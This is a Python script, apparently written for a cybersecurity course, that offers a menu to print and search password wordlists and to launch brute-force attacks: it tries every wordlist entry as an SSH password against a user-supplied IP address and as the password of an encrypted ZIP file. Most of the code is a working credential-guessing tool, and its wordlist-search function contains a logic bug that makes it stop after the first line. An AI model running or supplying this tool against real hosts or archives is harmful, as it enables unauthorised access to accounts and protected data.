wewillrockyou.py

#! /usr/bin/env python3
# Script Name:      wewillrockyou
# Author:           marburgja
# Last Rev:         20211025
# Purpose:          List passwords in wordlist/Search wordlist for input
# Sources:          https://www.geeksforgeeks.org/python-how-to-search-for-a-string-in-text-files/
#                   https://github.com/codefellows/seattle-cyber-401d3/blob/main/class-16/challenges/DEMO.md
#                   https://gist.github.com/thewindcolince/d21a45b153f9f5662630fc94afba3bb0
#                   https://www.geeksforgeeks.org/how-to-brute-force-zip-file-passwords-in-python/
#                   https://stackoverflow.com/questions/40088496/how-to-use-pythons-rotatingfilehandler/40088591


# Libraries
import sys, time, termcolor, zipfile, logging
from logging.handlers import RotatingFileHandler
from pexpect import pxssh
from tqdm import tqdm

# Variables
#logging.basicConfig(filename='rockyou.log', encoding='utf-8', level=logging.DEBUG, format='%(asctime)s %(message)s')
logging.basicConfig(
        handlers=[RotatingFileHandler('rockyou.log', maxBytes=100000, backupCount=10)],
        level=logging.DEBUG,
        format="%(asctime)s %(levelname)s %(message)s",
        datefmt='%Y-%m-%dT%H:%M:%S')

# Functions


def main():
    while True:
        choice=input("""
        ***We Will RockYou Menu***
1 - Iterate Dictionary/Wordlist
2 - Search Dictionary/Wordlist
3 - Perform Brute-Force SSH Attack
4 - Perform Brute-Force ZIP Attack
5 - Exit Menu
Please Select Mode:
""")
        if choice=="1":
            iterator()
        elif choice=="2":
            inspector()
            time.sleep(5)
        elif choice=="3":
            brute()
        elif choice=="4":
            unzip()
        elif choice=="5":
            break
        else:
            print("Invalid Mode! Try Again.")

def iterator():
    path=input("Enter Path to Wordlist/Dictionary:")
    file=open(path, "r")
    line=file.readline() #reads the lines in the file into variable "line"
    while line:   #reads through the lines of the file and prints them to screen
        line=line.rstrip()
        #word=line   why?
        print(line)
        time.sleep(1)
        line=file.readline()
    file.close()

def inspector():
    path=input("Enter Path to Wordlist/Dictionary:")
    passwd=input("Enter Password For Search:")
    file=open(path, "r")
    flag=0  # sets starting point for the list
    index=0
    for line in file:
        index+=1
        if passwd in line: # if the password matches the current line, break loop
            flag=1
        
        else:
            logging.info('Password Search Failed')
            print('Password Search Failed')
            break
            
    if flag==1: # if the password was matched above, print confirmation and line number
        print("That Password Was Found!","Line", index)
        logging.info('Password Search Successful')


def connect(host,user,line):
    try:
        ssh=pxssh.pxssh()
        ssh.force_password=True
        ssh.login(host,user,line)
        print("PASSWORD FOUND!!! "+termcolor.colored(user+":"+line,'yellow'))
        sys.exit(0)
    except pxssh.ExceptionPxssh as e: #prints the exception into terminal
        print(e)
    except KeyboardInterrupt as k: #adds keyboard interrupt with response in terminal
        print("\n")
        print("terminate")
        print("reason:program stopped by user",)
        logging.info('SSH Connection Terminated By User')
        sys.exit(0)

def brute():
    s=pxssh.pxssh()
    host=input("Enter IP Address:")
    user=input("Enter Username:")
    path=input("Enter Path To Wordlist/Dictionary:")
    file=open(path, "r", encoding="ISO-8859-1") #opens wordlist for use
    for p in file.readlines(): #goes line by line through wordlist attempting SSH login to selected IP
        username=user.strip("\n")
        password=p.strip("\n")
        print(str(username) + ":" + str(password))
        connect(host,str(username),str(password))
    file.close()

def unzippr(wordlist, path, obj):
    idx=0
    print("***Initializing Brute-Force Attack***")
    with open(wordlist, 'rb') as file:
        for line in file:
            for word in line.split():
                try:
                    idx+=1
                    obj.extractall(pwd=word)
                    print("Password FOUND At Line", idx)
                    print("Password Is", word.decode())
                    return True
                except:
                    continue
    return False

def unzip():
    path=input("Enter Path To .zip File:")
    wordlist=input("Enter Path To Wordlist/Dictionary:")
    obj=zipfile.ZipFile(path)
    cnt=len(list(open(wordlist, "r", encoding="ISO-8859-1")))
    print("There Are", cnt, "Total Passwords To Test")
    if unzippr(wordlist, path, obj) == False:
        print("Password Not Found In This File.")




# Main
main() 

# End